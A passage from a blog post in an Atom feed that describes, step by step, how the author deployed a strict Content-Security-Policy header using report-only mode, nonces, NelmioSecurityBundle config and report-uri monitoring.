production, and monitor the reports to make sure you haven’t missed anything. Once you’re happy that
you’ve allowed all the sources you trust, you can switch to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Content-Security-Policy&lt;/code&gt; header and
you’re golden!&lt;/p&gt;

&lt;p&gt;You can also specify both headers at the same time, which will cause the browser to apply the
report-only policy first, then the enforced policy. So you can test any changes to your CSP before
enforcing them.&lt;/p&gt;

&lt;h3 id=&quot;browser-incompatibilities&quot;&gt;Browser incompatibilities&lt;/h3&gt;

&lt;p&gt;We’re working in the web, of course the are browser incompatibilities, and of course the problem is
Internet Explorer. IE doesn’t support &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Content-Security-Policy&lt;/code&gt; but instead uses the
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X-Content-Security-Policy&lt;/code&gt; header, it does however support most of the standard so you can use the
same value for both headers. As far as browser incompatibilities go, it’s definitely not the worst.&lt;/p&gt;

&lt;h2 id=&quot;how-do-i-implement-it-without-breaking-my-site&quot;&gt;How do I implement it without breaking my site?&lt;/h2&gt;

&lt;p&gt;A mis-configured CSP can easily break your site. If you don’t approve the sources that you depend
on, then your site just won’t work. So I’m going to walk you through the steps I took to
successfully implement our CSP without breaking anything (much).&lt;/p&gt;

&lt;p&gt;I started out by adding the header to my nginx config:&lt;/p&gt;

&lt;div class=&quot;language-nginx highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;add_header&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Content-Security-Policy-Report-Only&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;default-src:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'none'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;...&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A problem quickly arose when I needed to change the header, meaning I had to rebuild my dev virtual
machine as well as staging and production just to allow fonts.googleapis.com. Setting the header in
app code makes changes easier to deploy. Doing this manually with Symfony would require using the
PHP &lt;a href=&quot;https://secure.php.net/manual/en/function.header.php&quot;&gt;header&lt;/a&gt; function, or setting it on every
Symfony Response:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Vanilla PHP&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'Content-Security-Policy-Report-Only &quot;default-src \'none\'; ...&quot;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Symfony Response&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$response&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'Content-Security-Policy-Report-Only'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;default-src 'none'; ...','&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But this very quickly gets large and unmaintainable, our current CSP is hundreds of characters
long. So I turned to the
&lt;a href=&quot;https://github.com/nelmio/NelmioSecurityBundle#content-security-policy&quot;&gt;NelmioSecurityBundle&lt;/a&gt; for
Symfony, which allows me to use nice Yaml config. There are good libraries for almost every
framework, with a quick Google search I was able to find:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/helmetjs/helmet&quot;&gt;Helmet&lt;/a&gt; for Express.js&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/twitter/secure_headers&quot;&gt;Secure Headers&lt;/a&gt; for Rails&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/mozilla/django-csp&quot;&gt;Django-CSP&lt;/a&gt; for Django.&lt;/li&gt;
  &lt;li&gt;Spring Boot has support built in with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@EnableWebSecurity&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;step-one---deny-all&quot;&gt;Step one - deny all&lt;/h3&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;nelmio_security&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;csp&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;report&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;block-all-mixed-content&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;true&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;default-src&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;none'&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Which gave me a lot of console errors, as expected:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/csp-errors.png&quot; alt=&quot;PHP Version Usage&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;step-two---allow-the-easy-things&quot;&gt;Step two - allow the easy things&lt;/h3&gt;

&lt;p&gt;We get this helpful list of every asset that the site requires, so now we add them. This is where
it’s helpful to find the documentation for your 3rd party dependencies. They will often list
everything you need to add to your CSP to work with them. In our case we use:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://forum.sentry.io/t/required-content-security-policy/4484/3&quot;&gt;Sentry&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://help.fullstory.com/spp-ref/can-i-use-content-security-policy-csp-with-fullstory&quot;&gt;FullStory&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.intercom.com/help/configure-intercom-for-your-product-or-site/staying-secure/using-intercom-with-content-security-policy&quot;&gt;Intercom&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;nelmio_security&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;csp&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;report&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;block-all-mixed-content&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;true&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;default-src&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;none'&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;]&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;script-src&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;self'&lt;/span&gt;
                &lt;span class=&quot;s&quot;&gt;...&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;style-src&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;self'&lt;/span&gt;
                &lt;span class=&quot;s&quot;&gt;...&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;font-src&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;self'&lt;/span&gt;
                &lt;span class=&quot;s&quot;&gt;...&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;img-src&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;self'&lt;/span&gt;
                &lt;span class=&quot;s&quot;&gt;...&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;connect-src&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;self'&lt;/span&gt;
&lt;span class=&quot;nn&quot;&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;step-three---deal-with-inline-scripts&quot;&gt;Step three - deal with inline scripts&lt;/h3&gt;

&lt;p&gt;Now that I had trimmed down most of the noise, I noticed that there were a lot of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unsafe-inline&lt;/code&gt;
scripts being executed. This is for every inline &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag that we had. That’s where the 
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nonce&lt;/code&gt; comes in.&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;script &lt;/span&gt;&lt;span class=&quot;na&quot;&gt;nonce=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;{{ csp_nonce('script') }}&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This will generate a crypotographically secure nonce (number used only once) and attach it to the
inline scripts. It then adds the nonce to the CSP header, to tell the browser that any inline script
with this nonce is trusted.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Content-Security-Policy script-src: 'nonce-67eab753ab3f0a713e02b07421dae6b7' ...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;step-four---webpack-and-unsafe-eval&quot;&gt;Step four - webpack and unsafe-eval&lt;/h3&gt;

&lt;p&gt;From this point I turned my attention to the obscene amount of errors coming through about using
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unsafe-eval&lt;/code&gt;. Our webpack config uses &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;devtool: eval&lt;/code&gt; in order to speed up development builds. 
So I allowed unsafe eval in dev but not in production - that would negate the entire 
point of the CSP.&lt;/p&gt;

&lt;h3 id=&quot;step-five---report-uri-and-deploy&quot;&gt;Step five - report-uri and deploy&lt;/h3&gt;

&lt;p&gt;Now that I wasn’t getting any errors in dev, I signed up for &lt;a href=&quot;https://report-uri.com&quot;&gt;report-uri.com&lt;/a&gt;,
added it to my config and deployed to staging and production.&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;nelmio_security&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;csp&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;report&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;report-uri&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://example.report-uri.com/r/d/csp/reportOnly&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;block-all-mixed-content&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;true&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;default-src&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;none'&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;]&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;script-src&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;nn&quot;&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;step-six---monitor&quot;&gt;Step six - monitor&lt;/h3&gt;

&lt;p&gt;Checking report-uri revealed that every page load was getting hundreds of errors
in production. The investigation uncovered that a couple of problems:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;our webpack config was misconfigured and using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;devtool: eval&lt;/code&gt; for the production 😲
    &lt;ul&gt;
      &lt;li&gt;easily solved by changing the config to only allow &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eval&lt;/code&gt; for development builds&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;we were using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;a href=&quot;javascript:void(0)&quot;&amp;gt;&lt;/code&gt; to make links work like buttons to deal with
  different browser inconsistencies
    &lt;ul&gt;
      &lt;li&gt;solved by using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tabindex=&quot;0&quot;&lt;/code&gt; and dropping the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;href&lt;/code&gt; attribute&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;step-7---enforce&quot;&gt;Step 7 - enforce&lt;/h3&gt;

&lt;p&gt;After a week or so in production we weren’t getting any more CSP violations coming through, so
I switched the CSP header into enforce and rescanned our site on
&lt;a href=&quot;https://securityheaders.com&quot;&gt;securityheaders.com&lt;/a&gt; to enjoy the A+ rating!&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;The Content-Security-Policy header is very powerful, allowing you to whitelist trusted sources to
load assets from. This essentially puts a blanket ban on some of the most common cyber attacks.
If implemented improperly it can render your website useless, but with a little patience you can
easily add one to your site without breaking anything!&lt;/p&gt;</content><author><name></name></author><category term="security" /><category term="http-headers" /><category term="web-security" /><summary type="html">What is a Content Security Policy? What problems does it solve? How can I use it to make my site more secure? How do I implement it without breaking my site? These are the questions I’m aiming to answer by sharing my experience of implementing a strict Content Security Policy while not breaking anything.</summary></entry></feed>